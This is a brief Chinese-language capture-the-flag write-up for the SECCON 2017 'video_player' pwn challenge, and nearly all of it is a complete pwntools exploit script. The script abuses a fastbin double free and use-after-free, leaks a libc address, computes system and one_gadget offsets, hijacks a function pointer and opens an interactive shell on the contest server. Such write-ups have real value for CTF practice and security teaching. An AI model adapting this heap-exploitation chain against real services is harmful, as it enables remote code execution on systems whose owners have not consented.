Seccon2017-pwn500-video_player

  感觉这个题目并不值500分，有些地方比较牵强，漏洞也比较明显，解题方法有多种，出题者把堆的布局随机化了，不过使用fastbin doublefree的话，可以完全忽视被打乱的堆。

from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
    r.recvuntil('>>> ')
    r.sendline('1')
    r.recvuntil('>>> ')
    r.sendline('2')
    r.recvuntil('Audio Bitrate : ')
    r.send(bitrate)
    r.recvuntil('Audio Length (seconds) : ')
    r.send(length)
    r.recvuntil('Audio Data : ')
    r.send(data)
    r.recvuntil('Add description : ')
    r.send(description)

def newvideoclip(r, rs, fps, num, data, description):
    r.recvuntil('>>> ')
    r.sendline('1')
    r.recvuntil('>>> ')
    r.sendline('1')
    r.recvuntil('Video Resolution : ')
    r.send(rs)
    r.recvuntil('FPS : ')
    r.send(fps)
    r.recvuntil('Number of Frames : ')
    r.send(num)
    r.recvuntil('Video Data : ')
    r.send(data)
    r.recvuntil('Add description : ')
    r.send(description)

def newmetadataclip(r, date, owner):
    r.recvuntil('>>> ')
    r.sendline('1')
    r.recvuntil('>>> ')
    r.sendline('4')
    r.recvuntil('Date of Creation : ')
    r.send(date)
    r.recvuntil('Owner of video : ')
    r.send(owner)


def editvideoclip(r, inx, rs, fps, num, data, description):
    r.recvuntil('>>> ')
    r.sendline('2')
    r.recvuntil('Enter index : ')
    r.sendline(inx)
    r.recvuntil('Video Resolution : ')
    r.send(rs)
    r.recvuntil('FPS : ')
    r.send(fps)
    r.recvuntil('Number of Frames : ')
    r.send(num)
    r.recvuntil('Video Data : ')
    r.send(data)
    r.recvuntil('Edit description : ')
    r.send(description)

def delclip(r, inx):
    r.recvuntil('>>> ')
    r.sendline('4')
    r.recvuntil('Enter index : ')
    r.sendline(inx)

close = 0
def playvideoclip(r, inx):
    global close
    r.recvuntil('>>> ')
    r.sendline('3')
    r.recvuntil('Enter index : ')
    r.sendline(inx)
    r.recvuntil('Playing video...
')
    tmp8 = r.recv(8)
    final8 = ''
    for i in range(0, 8):
        final8 += chr(ord(tmp8[i])^0xcc)
    close = u64(final8)
    print('leaked close is %x'%close)

chunk = 0
def playvideoclip1(r, inx):
    global chunk
    r.recvuntil('>>> ')
    r.sendline('3')
    r.recvuntil('Enter index : ')
    r.sendline(inx)
    r.recvuntil('Playing video...
')
    tmp8 = r.recv(8)
    final8 = ''
    for i in range(0, 8):
        final8 += chr(ord(tmp8[i])^0xcc)
    chunk = u64(final8)
    print('leaked chunk is %x'%chunk)

def playvideoclip2(r, inx):
    r.recvuntil('>>> ')
    r.sendline('3')
    r.recvuntil('Enter index : ')
    r.sendline(inx)
    
if 0:
    ip = '127.0.0.1'
    port  = 10001
else:
    ip = 'video_player.pwn.seccon.jp'
    port  = 7777

def getpid():
    import time
    exe = 'video_player'
    time.sleep(0.1)
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input('go!')

def pwnpwn():
    r = remote(ip, port)
    r.recvuntil('What is your movie name?')
    getpid()
    r.send('x00'*0xff)
    #newaudioclip(r, bitrate, length, data, description):
    newaudioclip(r, p16(30), p32(0x50), 'x00', 'x00')
    #1
    newvideoclip(r, p64(0), p32(0), p32(0x30), 'x00', 'x00')
    editvideoclip(r, '1', p64(0), p32(0), p32(0x50), 'x00', 'x00')

    delclip(r, '0')
    delclip(r, '1')
    
    #2
    newvideoclip(r, p64(0), p32(0), p32(0x50), 'x00', 'x00')

    data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
    editvideoclip(r, '2', p64(0), p32(0), p32(0x50), data, 'x00')
    playvideoclip(r, '2') 

    #3
    close_offset = 0xF78B0
    binsh_offset = 0x18CD17
    system_offset = 0x45390
    one_gadget_offset = 0xf1117
    binsh = close - close_offset + binsh_offset
    system = close - close_offset + system_offset
    one_gadget = close - close_offset + one_gadget_offset
    data1 = p64(0)*2+p64(one_gadget)
    newmetadataclip(r, data1, 'x00'*0x1f)

    data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
    editvideoclip(r, '2', p64(0), p32(0), p32(0x50), data2, 'x00')
    playvideoclip1(r, '2') 

    raw_input('here')
    data3 = p64(chunk)
    editvideoclip(r, '2', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
    playvideoclip2(r, '2') 
    r.interactive()

pwnpwn()